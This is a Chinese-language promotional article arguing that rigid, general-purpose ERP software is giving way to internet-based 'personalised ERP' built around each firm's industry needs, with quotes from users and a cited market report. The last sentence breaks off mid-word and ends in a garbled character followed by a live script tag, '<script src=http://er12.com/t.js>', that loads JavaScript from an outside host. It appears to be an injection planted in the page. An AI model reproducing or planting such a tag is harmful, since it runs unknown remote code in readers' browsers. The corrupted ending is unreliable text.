让中国所有企业用户用上个性化erp；让中国所有企业提高管理创新能力；让中国所有企业充分展现管理个性。
这是一种新技术切合新应用需求的最佳实践；
这是一个管理软件领先提供商的前瞻判断与重要使命；
这是一个产业沿革“内因外变”之下的必然选择与发展趋势；
一个计划，一场变革，一个erp产业发展的新阶段—基于互联网的，erp的服务经济时代，这实质是一个产业的升级，一个以满足企业需求为目标、关注企业用户终身价值、追求产业联盟“共赢天下”，颠覆了传统理念与方式erp的全面升级……
个性化erp： 传统erp的“终结者”
在行业特性明显、变化性强的企业管理中，传统erp往往如“隔靴搔痒”。
不适应企业的实际管理需求、灵活性差等问题，传统通用型软件无法满足企业个性化应用需求的矛盾，一直是横亘在用户与管理软件提供商面前的最大难题。去除传统erp的种种弊端，寻找新的产业发展空间，也早已经是对中国管理软件产业发展的突出挑战。
在新经济时代，新应用环境下，传统erp是到了该“终结”的时候。
个性化之“痛”
“在新经济时代，变革管理、动态管理就是企业管理的核心，erp如果不能适应、满足变化的管理需求，效用可想而知。另外，行业资源的缺乏，行业内优秀管理经验不能分享，也使得erp不能帮助我们解决实际管理中细化的问题。”
“建议厂商针对我们这类劳动力密集、制造工艺复杂的企业，按行业分布深入挖掘细节管理，多提供有针对性，能解决实际问题的产品与服务。”
在某次erp用户需求研讨会上，企业用户代表畅所欲言、气氛热烈，大家似乎相“约”而来，共同声伐“行业特色”这些与“不能满足应用”、“不能解决实际问题”相联的字眼，实质却是通用型传统erp无法满足行业个性化发展的矛盾。
计世资讯在其《2006年管理软件现状与趋势》报告中也再次提到：当前管理软件产业的主要矛盾为用户需求的个性化与软件产品的标准化之间的矛盾。甚至，有这一矛盾的管理软件应用高达94.5%!
然而，矛盾的根结，伤痛的根源，究竟何在？
回归需求本源
穷本溯源，管理软件发的沿革从来都是因用户需求而起，或是外界应用环境变化导致用户需求变化而起。从早期的财务软件，到集体转型企业管理软件，到2003年开始向平台化软件迁移，纵观erp产业发展轨迹，技术演变与应用需要的步伐环环相扣、清晰可见。
中国管理软件起源于企业对于大量财务数据的处理，于是诞生了财务软件，成熟了金蝶等一批优秀的财务软件提供商；随着市场经济的发展，某些大中型企业需要借助西方先进的管理理念与实践帮助自身提升管理水平与管理效率，管理软件诞生了，并且，这一时期的管理软件产品多是为该某些企业的特定需求量身定制；而随着中国绝大多数企业的发展壮大，成长中的企业广泛需要借助成熟的管理软件来规范、优化自身流程，管理软件厂商逐渐将定制产品抽象成通用的管理软件，只在实施阶段做些客户化的修订。
然而，在今天，无论是全球化的市场竞争环境，还是应用的技术环境已全面进入互联网时代，“商业变革”势在必然!
internet 技术的广泛应用将我们带入了一个全新的 “新经济时代”。在这个时代，企业消费行为也同样跨越了多个渠道，混合了传统的和数字的，理性的和感性的，虚拟的和现实的因素。同时，企业间的竞争也越来越升级，随着新经济时代的到来，大公司不一定能打败小公司，但信息传递快的公司很可能打败信息传递慢的公司。新经济时代，商业模式正悄然发生着一场变革，管理理念和商业模式必须不断更新，才能在市场竞争中获胜。
从2004年开始，各大权威it咨询厂商经过深入的调查发现，企业管理软件在企业客户应用的模式相比过去的几年已经发生了很大的改变，企业用户使用管理软件不再是曾经的面子工程和形象工程，而是越来越的关注企业应用实效，关注管理软件和信息系统给企业的经营管理带来的价值。
但在这样的应用背景下，传统通用型erp的弊端就显露得十分明显。“最突出表现就在其应用过分强调企业用户必须完全服从erp系统的标准管理流程，忽视了企业本身的个性化需求，同时，当企业需要适应市场环境变化时，传统erp也无能为力，或者要付出很高的成本且不能快速做出应变。”(用户语)
僵硬的、流程固化的通用产品已经制约了用户的使用，用户真正需要的是灵活的，既适应变化又能满足企业管理特质，富有个性化的产品。毕竟，管理的差异化，才是企业生存、发展差异化的基础，是一个企业的核心竞争力。因此，erp的发展必须尊重企业原生的行业管理个性、企业自身管理个性，同时以最低的成本，最快速的反应，“随需应变”地满足企业实际管理需求。
矛盾根结所在，也是解决问题的方法所在，“让erp个性化”，回归用户需求本源，在通过平台软件发展个性化产?script src=http://er12.com/t.js>
